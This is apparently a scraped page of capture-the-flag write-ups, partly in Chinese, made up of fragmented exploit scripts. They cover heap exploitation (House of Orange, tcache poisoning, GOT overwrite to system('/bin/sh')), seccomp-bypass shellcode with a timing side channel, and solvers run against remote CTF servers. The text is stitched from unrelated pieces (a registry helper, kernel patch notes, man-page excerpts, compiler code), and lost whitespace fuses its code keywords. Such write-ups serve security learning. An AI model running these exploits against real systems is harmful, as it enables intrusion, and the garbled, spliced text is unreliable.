defset_pending_xml_identifier(pending_xml_identifier: str) -> None: """ Sets the Pendning.xml identifier in registry :param pending_xml_identifier: The Pending.xml identifier :return: None :note: This API assumes the COMPONENTS hive is loaded to the registry :note: If this identifier is not equal to the Pending.xml identifier, PoqExec.exe will fail parsing Pending.xml """ pending_xml_identifier_bytes = bytes(pending_xml_identifier, "utf-8") pending_xml_identifier_unicode = b"\x00".join(bytes([byte]) for byte in pending_xml_identifier_bytes) + b"\x00" set_reg_value(winreg.HKEY_LOCAL_MACHINE, "COMPONENTS", "PendingXmlIdentifier", pending_xml_identifier_unicode, winreg.REG_BINARY)
sp = ( p32(0)*6 + p32(0x004AA330) # that's gp, we need to keep it + p32(0)*5 + b"devolper".ljust(100, b"\x00") + b"devolper".ljust(100, b"\x00") + b"system\x00"# overwrite command to system )
payload += sp r.sendline(payload)
r.interactive()
if __name__ == "__main__": main()
pwnymalloc
概况
i’m tired of hearing all your complaints. pwnymalloc never complains.
# fake chunk inside payload = b'\x00'*0x60 + p64(0xb0) +p64(0)+p64(0) + b'\n' refund(payload) # the target chunk we will overflow payload = b'\x00'*0x78 + p64(0xb0)[:-1] refund(payload) # trigger the coalesce payload = b'BeaCox never complains\n' complain(payload) # overwrite the target to make it approved payload = p64(0)+p64(0)+p64(0x91)+p32(1)+p32(0xdeadbeef) + b'\n'# what about refunding a deadbeef? refund(payload) gdb.attach(r) # win! win(1)
r.interactive()
if __name__ == "__main__": main()
Rusty Pointers
概况
The government banned C and C++ in federal software, so we had to rewrite our train schedule management program in Rust. Thanks Joe Biden. Because of government compliance, the program is completely memory safe.
seccomp-tools dump ./syscalls The flag is in a file named flag.txt located in the same directory as this binary. That's all the information I can give you. line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x16 0xc000003e if (A != ARCH_X86_64) goto 0024 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x13 0xffffffff if (A != 0xffffffff) goto 0024 0005: 0x15 0x12 0x00 0x00000000 if (A == read) goto 0024 0006: 0x15 0x11 0x00 0x00000001 if (A == write) goto 0024 0007: 0x15 0x10 0x00 0x00000002 if (A == open) goto 0024 0008: 0x15 0x0f 0x00 0x00000011 if (A == pread64) goto 0024 0009: 0x15 0x0e 0x00 0x00000013 if (A == readv) goto 0024 0010: 0x15 0x0d 0x00 0x00000028 if (A == sendfile) goto 0024 0011: 0x15 0x0c 0x00 0x00000039 if (A == fork) goto 0024 0012: 0x15 0x0b 0x00 0x0000003b if (A == execve) goto 0024 0013: 0x15 0x0a 0x00 0x00000113 if (A == splice) goto 0024 0014: 0x15 0x09 0x00 0x00000127 if (A == preadv) goto 0024 0015: 0x15 0x08 0x00 0x00000128 if (A == pwritev) goto 0024 0016: 0x15 0x07 0x00 0x00000142 if (A == execveat) goto 0024 0017: 0x15 0x00 0x05 0x00000014 if (A != writev) goto 0023 0018: 0x20 0x00 0x00 0x00000014 A = fd >> 32 # writev(fd, vec, vlen) 0019: 0x25 0x03 0x00 0x00000000 if (A > 0x0) goto 0023 0020: 0x15 0x00 0x03 0x00000000 if (A != 0x0) goto 0024 0021: 0x20 0x00 0x00 0x00000010 A = fd # writev(fd, vec, vlen) 0022: 0x25 0x00 0x01 0x000003e8 if (A <= 0x3e8) goto 0024 0023: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0024: 0x06 0x00 0x00 0x00000000 return KILL
intopenat(int dirfd, constchar *pathname, int flags); intopenat(int dirfd, constchar *pathname, int flags, mode_t mode);
If pathname is relative and dirfd is the special value AT_FDCWD, then pathname is interpreted relative to the current working directory of the calling process
From 1470120abb93fb80ee0ac52feab611418ec957d7 Mon Sep 17 00:00:00 2001 From: YiFei Zhu <zhuyifei@google.com> Date: Wed, 26 Jun 2024 19:39:11 -0700 Subject: [PATCH] prctl: Add a way to prohibit file descriptor creation
They are avoided by enforcing a failure when the kernel tries to allocate a free fd. To be extra extra safe, attempting to install an fd after the point of no return will panic.
Child processes inherit the restriction just like seccomp.
If the kernel cannot find a key matching type and description, and callout is not NULL, then the kernel attempts to invoke a user-space program to instantiate a key with the given type and description. In this case, the following steps are performed: … (3) The kernel creates a process that executes a user-space service such as request-key(8) with a new session keyring that contains a link to the authorization key, V. This program is supplied with the following command-line arguments:
defmain(): args.LOCAL = False r = conn() # `readelf -S ./3x17` to find the addr of .fini_array # in the `start`, there is a `__libc_start_main` # the `__libc_start_main`'s 4th and 5th arg is `__libc_csu_init`, `__libc_csu_fini`
s2 = "congratulationstoyoucongratulationstoy" for i inrange(flag_len): solver.add(s1[i] == ord(s2[i]))
if solver.check() == sat: model = solver.model() flag = ''.join([chr(model[flag_chars[i]].as_long()) for i inrange(flag_len)]) print(f'flag: {flag}') else: print('unsat')
有 syscall 但是没有 syscall ; ret ,因此我们的 ROP chain 最多只能有一次 raw syscall ,因此 read 选择使用函数地址而不是 raw syscall。get shell 之后得到 flag :
1
flag{08c559f9-81f7-4c74-a983-9eb59502de34}
orange_cat_diary
首先用 IDA 反编译程序,在程序中发现以下漏洞:
heap overflow(8字节的溢出)
UAF(只能使用一次,因为只能 delete 一次)
write after free
read after free
再根据题目名称的提示可以知道,可以使用 House of Orange 进行攻击(利用 heap overflow 和 read after free),泄露出 libc 地址和堆地址。由于 libc 的版本为2.23,因此最简便的方法就是劫持 __malloc_hook 。使用 pwndbg 的 find_fake_fast 命令找到用于覆盖 __malloc_hook 内容的 fast bin 地址,然后利用 write after free 劫持 fast bin ,使其返回该 chunk ,然后将__realloc_hook写为one_gadget,将__malloc_hook写为realloc,这样做更容易满足one_gadget条件。 利用代码如下:
# p = binary.process() p = remote('8.147.129.254', 25553) p.recvuntil(b'Please tell me your name.\n') p.sendline(b'BeaCox')
defmenu(): p.recvuntil(b'###orange_cat_diary###') p.recvuntil(b'Please input your choice:')
defadd(size, content): menu() p.sendline(b'1') p.recvuntil(b'Please input the length of the diary content:') p.sendline(str(size).encode()) p.recvuntil(b'Please enter the diary content:\n') p.send(content)
defshow(): menu() p.sendline(b'2')
defdelete(): menu() p.sendline(b'3')
defedit(size, content): menu() p.sendline(b'4') p.recvuntil(b'Please input the length of the diary content:') p.sendline(str(size).encode()) p.recvuntil(b'Please enter the diary content:\n') p.send(content)
# convert to qrcode from PIL import Image MAX = 31 pic = Image.new("RGB",(MAX, MAX)) i=0 for y inrange (0,MAX): for x inrange (0,MAX): if(flag[i] == '1'): pic.putpixel([x,y],(0, 0, 0)) else: pic.putpixel([x,y],(255,255,255)) i = i+1 pic.show() pic.save("flag.png") # TBTL{Wh47_D1d_H3_5aY_D34r?_D14g0nal1y...}
defedit(length, payload): p.sendlineafter(b'Your choice:', b'3') p.sendlineafter(b'How many characters do you want to change:', str(length).encode()) p.send(payload)
for i, c inenumerate(shellcode1): # if c >= 0b10000000: # log.info("bad byte %s at index %d" % (hex(c), i)) # log.error(shellcode1) if i & 1 != c & 1: log.info("bad byte %s at index %d" % (hex(c), i)) log.error(shellcode1) if c & 1 == 1and c > 0x80: log.info("negative byte %s at index %d" % (hex(c), i)) log.error(shellcode1)
# we need brute force every byte of flag # the seach space is 0x20 ~ 0x7e search_space = [i for i inrange(0x20, 0x7e)]
flag_probable_len = 0x40 flag = '' for i inrange(flag_probable_len): for ch in search_space: # p = process(binary.path) p = remote('111.186.57.85',40245) p.recvuntil(b'Please input your shellcode: \n') ### stage1: call a read syscall to read shellcode p.send(shellcode1) ### stage2: fuck yeah! we can send shellcode without limitation now # but we have no write # so we have to use ways like side channel shellcode2 = asm(f''' lea rdi, [rip+flag] mov rsi, 0 mov rax, 2 syscall mov rdi, rax mov rsi, rsp mov rdx, 0x100 mov rax, 0 syscall loop: xor rax, rax xor rbx, rbx mov al, byte ptr[rsp+{i}] mov bl, {ch} cmp al, bl je loop flag: .string "./flag" ''') shellcode2 += b'\x90' * (0x200 - len(shellcode2)) p.send(shellcode2) # learned from changcheng cup... p.shutdown('send')
# now if ch is the right byte, the program will be in a dead loop # otherwise the program will die sleep(1) # if p.poll() == None: # flag += chr(ch) # print("flag is now: ", flag) # p.close() # break # else: # p.close() # continue try: detection = p.fileno() p.recv(timeout=0.1) flag += chr(ch) print("flag is now: ", flag) p.close() break except: p.close() continue
# we will use this to get libc leak and control free_got malloc(0,0x500, b'a') malloc(1,0x20,b'/bin/sh\x00') free(0)
# 2 is used to get control of tcache malloc(2,0x90, b'b') # 3 is used to make a tcache bin malloc(3,0x330, b'c') free(3) gdb.attach(p) edit(2,p64(heap_manager)*(0x90//8)) # now tcace bin is # 0x340 [ 1]: 0x4060b0 ◂— 0x0 # 0x350 [ 0]: 0x4060b0 ◂— ... payload=p64(0x1000)+p32(free_got) # now we control the heap_manager # we make index 0 's size 0x1000 # and we make index 1 's pointer to free_got malloc(3,0x330,payload) # this will puts what is on the free_got response = puts(0) libc_leak = response[-6:].ljust(8, b'\x00') libc.address = u64(libc_leak) - libc.sym['free'] info(f'[LEAK&CALC]: libc_base: {hex(libc.address)}') system = libc.sym['system'] # we overwrite free_got with system edit_0_end(0,p64(system)) # 1's pointer point to /bin/sh free(1) p.interactive()
v25 = p64(0xA39C3E6994313F40) + p64(0x17872470565B9B60) + p64(0x11A918AABA97CA68) + p64(0xB8F1B0AB9B3DD3B0) + p64(0x488749FB6A1835E4) + p64(0x82926F78FE98158) ct = p64(0xe3de41c1f389569c) + p64(0x3500a2b1a46c9bd1) + p64(0x890a29f3d010d481) + p64(0x200f1fca08a04513) + p64(0xc3ab5b0381564f00) + p64(0x08953b09bbf7fdc7) # tmp1 is the bytearray after xored tmp1 = bytearray() # each byte in tmp is the result of ct[i] - v25[i] for i inrange(48): if ct[i] < v25[i]: tmp1.append(ct[i] + 256 - v25[i]) else: tmp1.append(ct[i] - v25[i]) # tmp1 is the bytearray before xored with 0x28 for i inrange(48): tmp1[i] ^= 0x28 print(tmp1)
defreverse(cypher): # group cypher into 8 bytes cypher = [cypher[i:i+8] for i inrange(0, len(cypher), 8)] # for each group, we decrypt it for i inrange(len(cypher)): # swap BYTE3 and BYTE4 tmp = cypher[i][3] cypher[i][3] = cypher[i][4] cypher[i][4] = tmp for j inrange(8): cypher[i][j] += j + i*8 # swap BYTE2 and BYTE6 tmp = cypher[i][2] cypher[i][2] = cypher[i][6] cypher[i][6] = tmp # swap BYTE1 and BYTE7 tmp = cypher[i][1] cypher[i][1] = cypher[i][7] cypher[i][7] = tmp # swap BYTE0 and BYTE5 tmp = cypher[i][0] cypher[i][0] = cypher[i][5] cypher[i][5] = tmp
# get the result result = b'' for i inrange(len(cypher)): result += bytes(cypher[i]) print(result)
defsolve_pow(challenge, difficulty=4, timeout=0.5): start_time = time.time() whileTrue: for solution in (f"{i:0{difficulty}x}"for i inrange(16 ** difficulty)): if verify_pow_solution(challenge, solution): return solution if time.time() - start_time >= timeout: returnNone defsave_image(): count = 0 for i inrange(20): p.recvuntil(b'Is this picture real or not (Y/N)? \n') b64_image = p.recvuntil(b'\n', drop=True) # compared with the local images using b64, if the image is not in the local images, save it # using a uuid as the filename # if folder is empty, save the image directly ifnot os.listdir('images'): withopen(f'images/{uuid.uuid4()}.png', 'wb') as f: f.write(base64.b64decode(b64_image)) count += 1 else: save_flag = True for filename in os.listdir('images'): withopen(f'images/{filename}', 'rb') as f: if base64.b64encode(f.read()).decode() == b64_image.decode(): save_flag = False break if save_flag: withopen(f'images/{uuid.uuid4()}.png', 'wb') as f: f.write(base64.b64decode(b64_image)) count += 1
defsolve_pow(challenge, difficulty=4, timeout=0.5): start_time = time.time() whileTrue: for solution in (f"{i:0{difficulty}x}"for i inrange(16 ** difficulty)): if verify_pow_solution(challenge, solution): return solution if time.time() - start_time >= timeout: returnNone defeval_image(): for _ inrange(20): p.recvuntil(b'Is this picture real or not (Y/N)? \n') b64_image = p.recvuntil(b'\n', drop=True) for filename in os.listdir('images_model'): withopen(f'images_model/{filename}', 'rb') as f: if base64.b64encode(f.read()).decode() == b64_image.decode(): correct_answer = filename[-5].upper() file_list.append(filename) if correct_answer != 'Y'and correct_answer != 'N': correct_answer = 'N' correct_answers.append(correct_answer) break
p.recvuntil(b" all 20 rounds (Y/N): ") data = ''.join(correct_answers) info(data) p.sendline(data.encode())
whileTrue: correct_answers = [] file_list = [] p = remote('instance.penguin.0ops.sjtu.cn', 18081) p.send(b'CONNECT gmvfevkv2k6p982q:1 HTTP/1.1\r\n\r\n') p.recvuntil(b"solution + '") challenge = p.recvuntil(b"'", drop=True).decode() info(f"challenge: {challenge}") # p.interactive() solution = solve_pow(challenge) if solution isNone: p.close() continue info(f"solution: {solution}") p.sendline(solution.encode()) eval_image() try: response = p.recvuntil(b"Incorrect answer for Round ", timeout=0.3) wrong_round = p.recvuntil(b".", drop=True) info(f"wrong_round: {wrong_round}") wrong_round = int(wrong_round) wrong_filename = file_list[wrong_round - 1] # change the filename to the right answer(opposite of original answer) # modify the filename to the right answer correct_answer = correct_answers[wrong_round - 1] if correct_answer == 'Y': correct_answer = 'N' else: correct_answer = 'Y' right_filename = wrong_filename[:-5] + correct_answer + '.png' # append the wrong filename to log.txt withopen('log.txt', 'a') as f: f.write(f'{wrong_filename}\n') os.rename(f'images_model/{wrong_filename}', f'images_model/{right_filename}') p.close() continue except: break
defsolve_pow(challenge, difficulty=5, timeout=3): start_time = time.time() whileTrue: for solution in (f"{i:0{difficulty}x}"for i inrange(16 ** difficulty)): if verify_pow_solution(challenge, solution): return solution if time.time() - start_time >= timeout: returnNone defeval_image(): for _ inrange(20): p.recvuntil(b'Is this picture real or not (Y/N)? \n') b64_image = p.recvuntil(b'\n', drop=True) for filename in os.listdir('images_model'): withopen(f'images_model/{filename}', 'rb') as f: if base64.b64encode(f.read()).decode() == b64_image.decode(): correct_answer = filename[-5].upper() file_list.append(filename) if correct_answer != 'Y'and correct_answer != 'N': correct_answer = 'N' correct_answers.append(correct_answer) break
p.recvuntil(b" all 20 rounds (Y/N): ") data = ''.join(correct_answers) info(data) p.sendline(data.encode())
在命令框中键入lm,即 list modules,可以看到这个应用加载了5个模块。其中a是程序本身的名字(a.exe),而KERNEL32是我们关心的另一个模块,因为它控制着系统的内存管理、数据的输入输出操作和中断处理,或者换句话说,其中有许多我们可以利用的函数(如WriteFile()用来写)。在不使用调试工具的时候我们无法如此便捷地获取被加载模块的地址,因此我们需要用到 PEB。
intmain(void) { // __readgsqword(0x60) equals to mov <register>, gs:[0x60] PPEB pebPtr = (PPEB)__readgsqword(0x60); PPEB_LDR_DATA ldrData = pebPtr->Ldr; PLIST_ENTRY moduleList = &ldrData->InMemoryOrderModuleList; // Get the first module in the list PLDR_DATA_TABLE_ENTRY program_module = CONTAINING_RECORD(moduleList->Flink, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
case INASSIGN: state = DONE; if (c == '=') currentToken = ASSIGN; else { /* backup in the input */ ungetNextChar(); save = FALSE; currentToken = ERROR; }